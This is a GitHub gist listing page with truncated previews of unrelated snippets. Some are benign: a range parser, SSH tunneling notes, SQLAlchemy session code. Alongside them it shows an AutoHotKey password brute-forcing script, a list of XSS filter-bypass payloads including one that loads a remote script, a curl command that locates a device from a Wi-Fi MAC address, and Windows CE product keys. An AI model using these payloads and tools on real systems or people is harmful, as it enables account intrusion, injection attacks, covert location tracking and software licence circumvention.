Skip to content

Instantly share code, notes, and snippets.

@kgaughan
kgaughan / gist:2491663
Created April 25, 2012 17:54
Parsing a comma-separated list of numbers and range specifications in Python
from itertools import chain
def parse_range(rng):
parts = rng.split('-')
if 1 > len(parts) > 2:
raise ValueError("Bad range: '%s'" % (rng,))
parts = [int(i) for i in parts]
start = parts[0]
end = start if len(parts) == 1 else parts[1]
if start > end:
@Jcpetrucci
Jcpetrucci / bruteforce.ahk
Created February 15, 2015 21:49
Brute force passwords with AutoHotKey
DetectHiddenWindows on
DetectHiddenText on
;SetTitleMatchMode 2
;SetTitleMatchMode Slow
#z::
SetKeyDelay 100
Loop, read, D:\wordlist.txt
{
TrayTip Now trying:, %A_LoopReadLine%, 1 ;Creates tooltip so we can monitor the progress through wordlist.
SendRaw %A_LoopReadLine% ;Type the current line into box
@SpotlightKid
SpotlightKid / clone-gists.py
Last active February 8, 2025 15:46
Clone all gists of GitHub username given on the command line.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Clone all gists of GitHub user with given username.
Clones all gist repos into the current directory, using the gist id as the
directory name. If the directory already exists as a git repo, try to perform a
'git pull' in it.
"""
@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active April 18, 2025 16:31
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@furusiyya
furusiyya / getAndroidLocation.sh
Created January 12, 2017 22:32
Get location of android user on basis of MAC address
sudo curl -i -s -k -X 'POST' -H 'User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0.1; Nexus 5 Build/LRX22C)' -H 'Content-Type: application/x-www-form-urlencoded' \
'http://mobile.maps.yandex.net/cellid_location/?clid=1866854&lac=-1&cellid=-1&operatorid=null&countrycode=null&signalstrength=-1&wifinetworks=000000000000:-65&app=ymetro'
@JialunC
JialunC / async_code_2.py
Last active October 8, 2020 03:12
Async_code_2 for downloading json (with aiofiles)
import asyncio
import aiohttp
# import json
import aiofiles
import config
async def store_json_2(symbol):
print(f'============downloading {symbol} json data ============')
payload = {
'function': 'TIME_SERIES_DAILY_ADJUSTED',
@nitred
nitred / ssh_utils.md
Last active December 11, 2024 11:49
SSH Tunneling (port forwarding + reverse port forwarding + SOCK5)

About

SSH tunneling and port forwarding snippets and utils

Table of Contents

  • SOCK5 tunnel everything: Link
  • Local port forwarding: Link
  • Remote port forwarding: Link
@nitred
nitred / db_manager.py
Last active December 11, 2024 11:49
Creating thread safe and managed sessions using SQLAlchemy
"""Creating thread safe and managed sessions using SQLAlchemy.
The sessions that are created are expected to be:
- thread safe
- handle committing
- handle rolling back on errors
- handle session removal/releasing once context or thread is closed.
Author: Nitish Reddy Koripalli
License: MIT
@uroboro
uroboro / Apple8723Container.c
Last active November 14, 2024 21:50
iPod Nano 6g jailbreak?
// Todo
@jamesy0ung
jamesy0ung / Windows CE Product Keys
Created September 26, 2020 22:39
Windows CE Product Keys
Windows CE 4:
XVQBX-JJGYD-YJXGH-4TCMB-G6VVQ
Windows CE 5:
XVQBX-JJGYD-YJXGH-4TCMB-G6VVQ
Windows Embedded CE 6:
PYHYP-WXB3B-B2CCM-V9DX9-VDY8T
Windows Embedded Compact 7: